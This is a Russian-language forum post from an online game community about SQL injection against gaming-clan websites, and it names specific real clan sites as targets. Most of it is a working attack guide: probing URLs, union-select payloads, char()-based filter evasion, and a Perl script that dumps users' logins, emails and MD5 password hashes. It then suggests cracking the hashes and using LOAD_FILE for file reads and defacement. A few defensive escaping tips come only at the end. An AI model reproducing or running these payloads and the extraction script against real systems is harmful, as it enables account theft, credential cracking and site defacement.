If this is a first time you visiting Scrolls, please register in Fight Club. If you already registered, please authorize on Fight Club start page with your login and password.
Для примера использован сайт клана Cossacks Of Hell
В связи с последними событиями в БК , я решил провести исследования клансайтов .. К сожалению , как оказалось , большая часть подвержена серьезным уязвимостям..Я хочу рассказать вам и сберечь вас от наиболее распространенных..
Как оказалось 80% просмотренных мною клансайтов имеют схожие уязвимости - сиквэл инъекции , что далеко не странно , тк у программистов не хватает больше ума как использовать стандартные проверки в скриптах при обращении к реляционной базе данных..Зачем думать головой , если можно содрать уже написанное ? =))
Зачастую , о наличии сиквэл инъекции могут сказать ошибки , явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в сиквэл запросе можно судить и по косвенным признакам ..
Чтобы реализовать наш с вами взлом давайте найдем параметр , значения которого передаются в запросе к БД.. Это достаточно просто , как правило это может быть параметр для обращения к новостной ленте , галлерии , списку статей , панели регестрации итд ..
структура такого запроса
http://site/test.php?id=номер статьи или новости
естественно , любой нормальный человек , увидев такое в строке запроса или в сорсе кода начнет сУвать туда всякую херь =)
http://site/test.php?id=9999
http://site/test.php?id=ааа
http://site/test.php?id=0
http://site/test.php?id=-0
http://site/test.php?id=-1000
итд
в 10 сайтах , уже на этом этапе я получил ошибку , связанную с неверным сиквэл запросом
Некоторые программисты наивно полагают , что их спасет заключение параметра в одиночные ковычки - ' и ошибочная фильтрация символов.. бугага =)
если исследуя скрипт выше мы еще не получили ошибки , продолжим =))
http://site/test.php?id=-1'+/*
таким нехитрым маневром мы закрываем первую кавычку и ставим незакрытый сиквэл комментарий , который превращает следующий в запросе код в бесполезную информацию.
вуаля =))
* Следует отметить , что вы можете и не получать вывод ошибочного запроса , но если в результате ковыряния параметра вы получаете редирект на главную страницу , или еще лучше страницу с пустым запросом или 500 ошибкой шттп - вы на верном пути и правильно выбрали атакуемый параметр .. *
Дальше можно было бы и не писать ничего , если бы я не сомневался в профессионализме прогеров ..
далее начинаем подбирать верный запрос к таблице , туд , методом перебора выясняется номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу
http://site/test.php?id=-1'+union+select+null/*
если и такой запрос выдаст ошибку синтаксиса или пустую страницу , значит в скрипте, возможно имеется проверка на не пустоту одного из параметров ...
Теперь можно перебирать имена таблиц .. Правильные запросы будут соответствовать существующим именам таблиц .. Наверно , интересно будет проверить на существование таблиц users , passwords , regusers и тд и тп .. Если выводиться только одна строка из запроса (например , вместо тела статьи) , то можно передвигаться по строкам путем limit ..
*отдельно стоит рассказать про сиквэл функцию char() .. в качестве аргумента она принимает десятичный код ASCII символа , это нужно в том случае , когда скриптом фильтруются нужные символы...
например char(47) вернет нам / , когда если бы мы отослали его напрямую этот символ бы отфильтровался .. *
Итак - мы имеем пароли в мд5 , логины и почтовые ящики пользователей .. (n делить на два , потом n деленное на два разделить на два итд)
Методом мат. анализа определяем , что записей в phpbb_forum тут 489 .. Анализируем сорс ошибки.. и пишем несложный скрипт на перле
не люблю я пхп =))
#!/usr/bin/perl -w
use LWP; use strict;
my $ua=LWP::UserAgent->new; my $i; my $res;
$path='путь к уязвимости=-1\'+union+select+1,concat(username,char(58),user_email,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit';
for ($i=1;$i<=488;$i++) { my $res=$ua->request(HTTP::Request->new(GET=>$path.'+'."$i".',1/*')); if ($res->is_success) { $res->content=~/<center>Запрещено просматривать статью '(.*):(.*):(.*)'/; open (LOG,">>list") || die " cant open file"; print LOG $1.':'.$2.':'.$3."\n"; close LOG;
} else { print $res->status_line; } }
В кратце - используем модуль лвл для последовательного гет запроса ко всем строкам таблицы , выделяем из сорса нужные тэги , а из них в свою очередь - логины , пароли и мэйлы ..
вуаля =))
в фале list , в одной корневой со скриптом через 2 мин у нас вся база данных сайта =))
кидаем пароли клана на подбор в любую утилиту для штурма мд5
и вуаля , через минуту у нас уже пасс от одного соклана .. а еще через два дня , от половины
но какого же будет ваше удивление , когда в ответ на инъекцию
сайтик то , на винде стоит , а это увеличивает полет фантазии вдвое нам на самом деле и не нужны пароли , их можно и не качать .. Достаточно написать что - нить типа
http://site/test.php?id=-1'+union+select+1,LOAD_FILE('путь к любому файлу на диске C:\'),3,4,5,6,7/*
для дефейса .. те подмены главной страницы .. да и вообще стереть любой файл можно .. или закачать свое ..
Похожие уязвимости я нашел почти на всех топ клан сайтах .. Даркклан , рмиб и пачке других..
Попытаться исправить это можно путем
- для целых и дробных величин , перед их использованием в запросе надо привести величину к нужному типу ..
$id=(int)$id; $total=(float)$total;
Вместо этого можно вставить систему слежения за тестированием на сиквэл инъекцию ..
if((string)$id<>(string)(int)$id) {
// пишем в лог о попытке ..
die('ops');
}
- для строковых параметров , которые не используются в like , regexp и тд , экранируем кавычки ..
$str=addslashes($str);
или , лучше я всегда советовал
mysql_escape_string($str)
- в строках , которые предполагается использовать внутри like , regexp и тд , необходимо так же заэкранировать специальные символы , применяющиеся в этих операторах , если это необходимо.. В противном случае , можно задокументировать использование этих символов ..
На прощание хочу сказать - никогда не ждите благодарностей от людей.. удачи , и помните - если жизнь свернула вас как удав , терпите =)))
hacked by 4
hacked by RaD
отдельное спасибо Diogen-у
Вам запрещено комментирование в скроллах. Причина: Character level to low
ты сам кидала ты сам кидаешь людей мы пишем свой пароль потом емаил и ник и потом типа ник того кого мы хотим взломать и наш пароль приходит к тебе и все ты че думаешь тут програмистов нету
тут экранированы .. да и везде .. просто выбор стоит , или отэкранировать под самые уши , но тогда оставить возможность вводить только эллементарные пароли , или проверять более слабо , зато дать пользователям возможность вводить нормальные пароли ..
=))
вот так вот .. я бы на твоем месте не расчитывал , что проверка на вашем клансайте вас спасет ;)